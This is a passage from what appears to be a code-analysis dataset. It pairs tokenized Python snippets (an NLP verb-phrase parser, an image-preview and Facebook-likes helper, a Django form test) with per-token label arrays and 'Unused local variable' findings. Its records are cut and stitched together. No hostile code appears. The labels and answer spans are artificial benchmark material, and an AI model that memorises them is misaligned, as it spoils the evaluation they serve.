"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"children_",
"[_",
"0_",
"]_",
"._",
"label_",
"in_",
"[_",
"\"",
"VB",
"D",
"\"_",
",_",
"\"",
"VB",
"N",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"level_",
"=_",
"self_",
"._",
"parent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"level_",
"._",
"label_",
"==_",
"\"",
"NP",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"self_",
"._",
"passive",
"_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"i_",
"in_",
"range_",
"(_",
"2_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"if_",
"level_",
"and_",
"isinstance_",
"(_",
"level_",
",_",
"Verb",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"level_",
"._",
"children_",
"[_",
"0_",
"]_",
"._",
"text_",
"in_",
"[_",
"\"",
"AM",
"\"_",
",_",
"\"",
"IS",
"\"_",
",_",
"\"",
"ARE",
"\"_",
",_",
"\"",
"WA",
"S",
"\"_",
",_",
"\"",
"WE",
"RE",
"\"_",
",_",
"\"",
"BE",
"\"_",
",_",
"\"",
"BE",
"EN",
"\"_",
",_",
"\"",
"BE",
"ING",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"self_",
"._",
"passive",
"_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"level_",
"=_",
"level_",
"._",
"parent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"level_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"(_",
"\"",
"Error",
" ",
"in",
" ",
"passive",
" ",
"check",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"passive",
"_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Verb",
"Phrase",
"_",
"(_",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"lower_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Fin",
"d",
" ",
"the",
" ",
"meaning",
" ",
"of",
" ",
"the",
" ",
"child",
"ren",
" ",
"of",
" ",
"the",
" ",
"VP",
",",
" ",
"and",
" ",
"whe",
"ther",
" ",
"or",
" ",
"not",
" ",
"there",
" ",
"is",
" ",
"a",
" ",
"\"",
"not",
"\"",
" ",
"in",
" ",
"the",
" ",
"VP",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"If",
" ",
"the",
" ",
"VP",
" ",
"has",
" ",
"VP",
" ",
"child",
"ren",
",",
" ",
"look",
" ",
"only",
" ",
"at",
" ",
"these",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Ot",
"her",
"wis",
"e",
",",
" ",
"this",
" ",
"function",
" ",
"pretty",
" ",
"muc",
"h",
" ",
"is",
" ",
"identi",
"cal",
" ",
"to",
" ",
"the",
" ",
"Nou",
"n",
"Phrase",
".",
"get",
"\\u",
"meaning",
"()",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"method",
",",
" ",
"except",
" ",
"tha",
"t",
" ",
"it",
" ",
"doe",
"sn",
"'",
"t",
" ",
"look",
" ",
"at",
" ",
"word",
"-",
"level",
" ",
"child",
"ren",
",",
" ",
"bec",
"aus",
"e",
" ",
"it",
" ",
"shou",
"ld",
"n",
"'",
"t",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"have",
" ",
"any",
".",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Parameter",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"-----------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"self",
":",
" ",
"Verb",
"Phrase",
" ",
"object",
" ",
"tha",
"t",
" ",
"call",
"ed",
" ",
"the",
" ",
"method",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"-------",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"self",
".",
"lower",
":",
" ",
"list",
"\\",
"10",
";",
" ",
" ",
"Act",
"or",
" ",
"codes",
" ",
"or",
" ",
"Event",
" ",
"codes",
",",
" ",
"depend",
"ing",
" ",
"on",
" ",
"situation",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"negate",
"d",
":",
" ",
"boolean",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"Whe",
"ther",
" ",
"a",
" ",
"\"",
"not",
"\"",
" ",
"is",
" ",
"presen",
"t",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"get",
"\\u",
"lower_",
"=_",
"self_",
"._",
"return",
"\\u",
"lower_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"lower_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"v",
"\\u",
"options_",
"=_",
"filter_",
"(_",
"lambda_",
"a_",
":_",
"(_",
"isinstance_",
"(_",
"a_",
",_",
"Verb",
"Phrase",
"_",
")_",
"and_",
"a_",
"._",
"is",
"\\u",
"valid_",
"(_",
")_",
")_",
",_",
"self_",
"._",
"children_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"lower_",
"=_",
"map_",
"(_",
"lambda_",
"a_",
":_",
"a_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
",_",
"v",
"\\u",
"options_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"events_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"len_",
"(_",
"self_",
"._",
"children_",
")_",
">_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"negate",
"d_",
"=_",
"(_",
"lower_",
"and_",
"self_",
"._",
"children_",
"[_",
"1_",
"]_",
"._",
"text_",
")_",
"==_",
"\"",
"NOT",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"negate",
"d_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"item_",
"in_",
"lower_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"negate",
"d_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"adjusted",
"_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"event_",
"in_",
"item_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"if_",
"isinstance_",
"(_",
"event_",
",_",
"tuple_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"adjusted",
"_",
"._",
"append_",
"(_",
"(_",
"event_",
"[_",
"0_",
"]_",
",_",
"event_",
"[_",
"1_",
"]_",
",_",
"event_",
"[_",
"2_",
"]_",
"-_",
"0xFFFF",
"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"adjusted",
"_",
"._",
"append_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"item_",
"=_",
"adjusted",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"events_",
"+=_",
"item_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"events_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"lower_",
"=_",
"events_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"events_",
",_",
"negate",
"d_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"NP",
"codes_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"PP",
"codes_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"VP",
"codes_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"child_",
"in_",
"self_",
"._",
"children_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"isinstance_",
"(_",
"child_",
",_",
"Nou",
"n",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"NP",
"codes_",
"+=_",
"child_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"child_",
",_",
"Prep",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"PP",
"codes_",
"+=_",
"(_",
"child_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"False_",
"and_",
"child_",
"._",
"label_",
"in_",
"\"",
"SB",
"AR",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"ch_",
"in_",
"(_",
"child_",
"._",
"children_",
"[_",
"-_",
"1_",
"]_",
"._",
"children_",
"if_",
"child_",
"._",
"label_",
"==_",
"\"",
"SB",
"AR",
"\"_",
"else_",
"child_",
"._",
"children_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"if_",
"isinstance_",
"(_",
"ch_",
",_",
"Nou",
"n",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"Sco",
"des_",
"+=_",
"ch_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"ch_",
",_",
"Prep",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"Sco",
"des_",
"+=_",
"ch_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"ch_",
",_",
"Verb",
"Phrase",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"Sco",
"des_",
"+=_",
"ch_",
"._",
"get",
"\\u",
"meaning",
"_",
"(_",
")_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"actor",
"codes_",
",_",
"agent",
"codes_",
"=_",
"(_",
"[_",
"]_",
",_",
"[_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"NP",
"actor_",
",_",
"NP",
"agent_",
"=_",
"self_",
"._",
"resolve",
"\\u",
"codes_",
"(_",
"NP",
"codes_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"PP",
"actor_",
",_",
"PP",
"agent_",
"=_",
"self_",
"._",
"resolve",
"\\u",
"codes_",
"(_",
"PP",
"codes_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"VP",
"actor_",
",_",
"VP",
"agent_",
"=_",
"self_",
"._",
"resolve",
"\\u",
"codes_",
"(_",
"VP",
"codes_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"actor",
"codes_",
"+=_",
"NP",
"actor_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"actor",
"codes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"actor",
"codes_",
"+=_",
"PP",
"actor_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"actor",
"codes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"actor",
"codes_",
"+=_",
"VP",
"actor_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"agent",
"codes_",
"+=_",
"NP",
"agent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"agent",
"codes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"agent",
"codes_",
"+=_",
"PP",
"agent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"agent",
"codes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"agent",
"codes_",
"+=_",
"VP",
"agent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | mikemaccana/imeveryone/usermessages.py | [
{
"content": " def makepreviewpic(self,imagefile,imageconfig):\n '''Reduce images larger than a certain size'''\n myimage = Image.open(imagefile)\n width,height = myimage.size\n aspect = float(width) / float(height)\n maxwidth = imageconfig.as_int('maxwidth')\n maxheight = imageconfig.as_int('maxheight')\n maxsize = (maxwidth,maxheight)\n # Don't bother if image is already smaller\n if width < maxwidth and height < maxheight:\n logging.info('Small image, using existing pic at: '+imagefile)\n self.preview = imagefile\n # Resize, save, return preview file name\n else:\n myimage.thumbnail(maxsize,Image.ANTIALIAS)\n newfilename = imagefile.replace('cache','thumbs').split('.')[-2]+'_preview.'+imagefile.split('.')[-1]\n try:\n myimage.save(newfilename)\n logging.info('Saved preview pic to: '+newfilename)\n self.preview = newfilename\n except:\n pass\n return",
"metadata": "root.Message.makepreviewpic",
"header": "['class', 'Message', '(', 'object', ')', ':', '___EOS___']",
"index": 255
},
{
"content": " def getlikecount(self):\n '''Return count of Facebook likes for a target URL'''\n targeturl = 'http://imeveryone.com/discuss/'+str(self._id)\n endpoint = 'https://api.facebook.com'\n page = '/method/fql.query'\n querydict = {\n 'query':'''SELECT total_count FROM link_stat WHERE url=\"'''+targeturl+'''\"''',\n 'format':'json',\n }\n\n fqlhelper = rest.RESTHelper(endpoint='https://api.facebook.com')\n queryresult = fqlhelper.get(page,querydict=querydict,usejson=True)\n self.likecount = queryresult[0]['total_count']\n return",
"metadata": "root.Message.getlikecount",
"header": "['class', 'Message', '(', 'object', ')', ':', '___EOS___']",
"index": 454
}
]
| [
{
"span": "aspect ",
"start_line": 259,
"start_column": 8,
"end_line": 259,
"end_column": 14
},
{
"span": "endpoint ",
"start_line": 457,
"start_column": 8,
"end_line": 457,
"end_column": 16
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Message_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"makep",
"review",
"pic_",
"(_",
"self_",
",_",
"imagef",
"ile_",
",_",
"image",
"config_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"Reduce",
" ",
"images",
" ",
"large",
"r",
" ",
"than",
" ",
"a",
" ",
"cert",
"ain",
" ",
"size",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"myi",
"mage_",
"=_",
"Image_",
"._",
"open_",
"(_",
"imagef",
"ile_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"width_",
",_",
"height_",
"=_",
"myi",
"mage_",
"._",
"size_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"aspect_",
"=_",
"float_",
"(_",
"width_",
")_",
"/_",
"float_",
"(_",
"height_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"maxw",
"idth_",
"=_",
"image",
"config_",
"._",
"as",
"\\u",
"int_",
"(_",
"'",
"maxw",
"idt",
"h",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"max",
"height_",
"=_",
"image",
"config_",
"._",
"as",
"\\u",
"int_",
"(_",
"'",
"max",
"height",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"maxsize_",
"=_",
"(_",
"maxw",
"idth_",
",_",
"max",
"height_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Don",
"'",
"t",
" ",
"bot",
"her",
" ",
"if",
" ",
"image",
" ",
"is",
" ",
"alr",
"ead",
"y",
" ",
"small",
"er_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"width_",
"<_",
"maxw",
"idth_",
"and_",
"height_",
"<_",
"max",
"height_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"'",
"Small",
" ",
"image",
",",
" ",
"usi",
"ng",
" ",
"exist",
"ing",
" ",
"pic",
" ",
"at",
":",
" ",
"'_",
"+_",
"imagef",
"ile_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"preview_",
"=_",
"imagef",
"ile_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Resize",
",",
" ",
"save",
",",
" ",
"return",
" ",
"previe",
"w",
" ",
"file",
" ",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"myi",
"mage_",
"._",
"thumbnail_",
"(_",
"maxsize_",
",_",
"Image_",
"._",
"ANTI",
"ALIAS_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"newfile",
"name_",
"=_",
"imagef",
"ile_",
"._",
"replace_",
"(_",
"'",
"cache",
"'_",
",_",
"'",
"thumbs",
"'_",
")_",
"._",
"split_",
"(_",
"'.'_",
")_",
"[_",
"-_",
"2_",
"]_",
"+_",
"'\\u",
"previe",
"w",
".'_",
"+_",
"imagef",
"ile_",
"._",
"split_",
"(_",
"'.'_",
")_",
"[_",
"-_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"myi",
"mage_",
"._",
"save_",
"(_",
"newfile",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"'",
"Save",
"d",
" ",
"previe",
"w",
" ",
"pic",
" ",
"to",
":",
" ",
"'_",
"+_",
"newfile",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"preview_",
"=_",
"newfile",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Message_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"getl",
"ike",
"count_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"Return",
" ",
"count",
" ",
"of",
" ",
"Face",
"book",
" ",
"likes",
" ",
"for",
" ",
"a",
" ",
"target",
" ",
"URL",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"target",
"url_",
"=_",
"'",
"http",
"://",
"ime",
"very",
"one",
".",
"com",
"/",
"discuss",
"/'_",
"+_",
"str_",
"(_",
"self_",
"._",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"endpoint_",
"=_",
"'",
"https",
"://",
"api",
".",
"facebook",
".",
"com",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"page_",
"=_",
"'/",
"method",
"/",
"fq",
"l",
".",
"query",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"query",
"dict_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"query",
"'_",
":_",
"'''",
"SELECT",
" ",
"total",
"\\u",
"count",
" ",
"FROM",
" ",
"link",
"\\u",
"stat",
" ",
"WHE",
"RE",
" ",
"url",
"=\"",
"'''_",
"+_",
"target",
"url_",
"+_",
"'''",
"\"'''",
"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"format",
"'_",
":_",
"'",
"json",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"fq",
"lh",
"elp",
"er_",
"=_",
"rest_",
"._",
"REST",
"Helper_",
"(_",
"endpoint_",
"=_",
"'",
"https",
"://",
"api",
".",
"facebook",
".",
"com",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"query",
"result_",
"=_",
"fq",
"lh",
"elp",
"er_",
"._",
"get_",
"(_",
"page_",
",_",
"query",
"dict_",
"=_",
"query",
"dict_",
",_",
"use",
"json_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"like",
"count_",
"=_",
"query",
"result_",
"[_",
"0_",
"]_",
"[_",
"'",
"total",
"\\u",
"count",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | django/django/tests/validation/tests.py | [
{
"content": " def test_validation_with_empty_blank_field(self):\n # Since a value for pub_date wasn't provided and the field is\n # blank=True, model-validation should pass.\n # Also, Article.clean() should be run, so pub_date will be filled after\n # validation, so the form should save cleanly even though pub_date is\n # not allowed to be null.\n data = {\n 'title': 'The state of model validation',\n }\n article = Article(author_id=self.author.id)\n form = ArticleForm(data, instance=article)\n self.assertEqual(list(form.errors), [])\n self.assertNotEqual(form.instance.pub_date, None)\n article = form.save()",
"metadata": "root.ModelFormsTests.test_validation_with_empty_blank_field",
"header": "['class', 'ModelFormsTests', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 103
}
]
| [
{
"span": "article ",
"start_line": 116,
"start_column": 8,
"end_line": 116,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Model",
"Form",
"s",
"Tests_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"validation",
"\\u",
"with",
"\\u",
"empty",
"\\u",
"blank",
"\\u",
"field_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Sin",
"ce",
" ",
"a",
" ",
"value",
" ",
"for",
" ",
"pub",
"\\u",
"date",
